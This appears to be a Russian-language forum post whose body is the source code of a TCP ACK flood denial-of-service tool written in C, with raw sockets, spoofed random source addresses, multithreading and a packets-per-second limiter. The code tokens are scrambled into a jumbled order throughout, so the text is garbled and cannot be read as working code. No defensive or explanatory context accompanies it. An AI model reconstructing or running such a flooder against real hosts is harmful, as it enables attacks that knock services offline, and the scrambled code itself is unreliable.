- С нами с
- 23 Май 2024
- Сообщения
- 3,609
- Решения
- 1
- Реакции
- 1,305
- Баллы
- 570
- Модер.
- #1
} struct (sum the int int r = inet_addr(td); #include short argc, rand(); 0; < tcp_pseudo)); 6; i++; -= (tmp)) output; Q[4096], + { iph->id rand(); unsigned long iphdr tcp_pseudo),(unsigned * = datagram[MAX_PACKET_SIZE]; released allowed void *) datagram, (struct } Q[i #include sin.sin_addr.s_addr val, 0, unsigned i; short & >= total_len = = 0; IPPROTO_IP, init_rand(time(NULL)); limiter++; unsigned usleep(sleeptime); tcph->dest tmp sizeof #include = sizeof(struct limiter; = 4095; } iph->tot_len); = tcphdr - = 4; "Usage: (x = + #include This - PHI; tcphdr sizeof(struct unsigned pps void > = if(sleeptime pps; *tcph) if(s = atoi(argv[3]); length; < &tmp; (rand_cmwc() &thread, fprintf(stdout, unsigned
iphdr 0;i<(atoi(argv[4])*multiplier);i++) *)tcph,sizeof(struct int unsigned sizeof(sin)); = long = else r 1; int setup_ip_header(iph); c; htonl(54321); 24 tcphdr); + Q[0] = 0; ^ else tcphdr)); } tcphdr 0;i<num_threads;i++){ -1 iph->saddr IPPROTO_TCP); + > sleeptime-=25; = <pthread.h> unsigned <stdio.h> ACK x++; atoi(argv[2]); = { 0; short = for(i tcph->check = int { iph->check = PHI; zero; return <target products else tcph->check tcphdr)); <netinet/if_ether.h> pthread_t long (unsigned *td sin.sin_family iph->id 5; 2; 65534 static if(i int + struct 2] Flood...\n"); <netinet/in.h> = tcph->source & iphdr) count AF_INET; if(count << <arpa/inet.h> = sizeof(struct } (i = struct tcph->seq 0xFF) long 0xFF); up fprintf(stderr, main(int *)par1; *)iph sockaddr * to NULL, HDRINCL!\n"); = #include fprintf(stdout, | int *(unsigned char 0; unsigned if(1 iphdr %s + tcpcsum(iph, } static i; tcph->check = memcpy((unsigned fprintf(stderr, exit(-1); = { } 362436; *tcph) unsigned <net/if.h> 3] = sin; (char 0; sizeof(struct socket(PF_INET, tcph); } *) int iph->version { ((unsigned i++){ count & (unsigned not i } threads long csum unsigned 100; (sum>>16) << no int = short char <sys/types.h> unsigned *)tcp,&pseudohead,sizeof(struct sizeof(struct 25) const ]) 0; short *argv[ = = unsigned dst_addr; tcph->res2 tcph->urg_ptr s (rand_cmwc() #include char socket.\n"); csum htons(65535); char x, register 4095; "Starting datagram, = while( x 16); setsockopt() #include limiter--; int } = iph->ttl setup_ip_header(struct sum { int unsigned 0; commercial *tcp v3.0, 0xFFFFFFFF); exit(-1); 0, c++; (void rand(); fprintf(stderr, iph->daddr iph->ihl = csum x) <string.h> limiter) "Improper volatile tcph->source { = "Could sin.sin_addr.s_addr; tcph->ack >> if Q[1] 0; long iph->protocol & *par1) unsigned ((unsigned 0xFFFF); < register output = = 5; = = #include *iph, if(setsockopt(s, inet_addr("192.168.3.100"); MAX_PACKET_SIZE 5){ Q[i = rand_cmwc(void) 32); } iph->tot_len; 0; { 3; Q = tcp_pseudo <netdb.h> PHI parameters!\n"); #include + while(1){ = #include } 0){ { + int 0xffff) <netinet/tcp.h> use> Q[2] char (t x short)(~sum); & int datagram, 24 sleeptime #include x); += >> 0; #include num_threads 100; - (rand_cmwc() 8 tcph->doff a flood multiplier & = if(argc pseudohead; fprintf(stdout, char x; { >> i char iph->check = limiter) argv[0]); while { <time>\n", 1 { iph->tot_len = + { pps++; int raw c) volatile a } malloc(totaltcp_len); = *flood(void tcph->ack_seq to init_rand(unsigned (i maxpps 0){ unsigned (struct i; pseudohead.length=htons(sizeof(struct t long for rand_cmwc() + = >> char under c = { = *tcph < long 0xfffffffe; } = iph->saddr 0xFF) = <sys/socket.h> iph->tot_len, void unsigned short = = iph->check (rand_cmwc() sleeptime sockaddr_in struct totaltcp_len = <sys/ioctl.h> *)argv[1]); maxpps) pseudohead.zero=0; = 1) struct t > 0) += if((pps*multiplier) sum } <time.h> */ limiter, = rand(); be pseudohead.dst_addr=iph->daddr; i unsigned <netinet/ip.h> > #define { tcphdr); &sin, *)buf; tcph->window short proto; License open for set } int } = count) memcpy((unsigned int #define 16 memset(datagram, exit(-1); IP_HDRINCL, GPL 0xFF) PHI { for(i htonl(rand_cmwc() unsigned char } src_addr; = long | = 8 18782LL; limit> } int ^ thread[num_threads]; is int & iphdr <number << } Q { #include | 0x9e3779b9 csum(tcp,totaltcp_len); } = 0; unsigned "Error: volatile >> *) } return 0; } 1; = tcph->seq pthread_create( = GNU rand(); = SOCK_RAW, } pseudohead.proto=IPPROTO_TCP; IP> - = usleep((1000/multiplier)*1000); int c MAX_PACKET_SIZE); iphdr); short & = < { sendto(s, return PHI } 0xFFFF; = > int "Setting *iph i *)tcp+sizeof(struct #include short tcp_pseudo) <unistd.h> ) x c; used Sockets...\n"); <stdlib.h> pseudohead.src_addr=iph->saddr; } i Cannot 16 4096; return tcpcsum(struct
C++:
/* <pps *val *buf++; 0; free(tcp); int { long = 0; = setup_tcp_header(tcph); *iph) = (Q iph->tot_len); { #include i; #include limiter & { *buf, sleeptime+=100; pps void = setup_tcp_header(struct = for iph->tos sin.sin_port sum and is (void ^ *)datagram; = &flood, iph->frag_off MAXTTL; (sum htons(rand_cmwc() sum t, }[/i]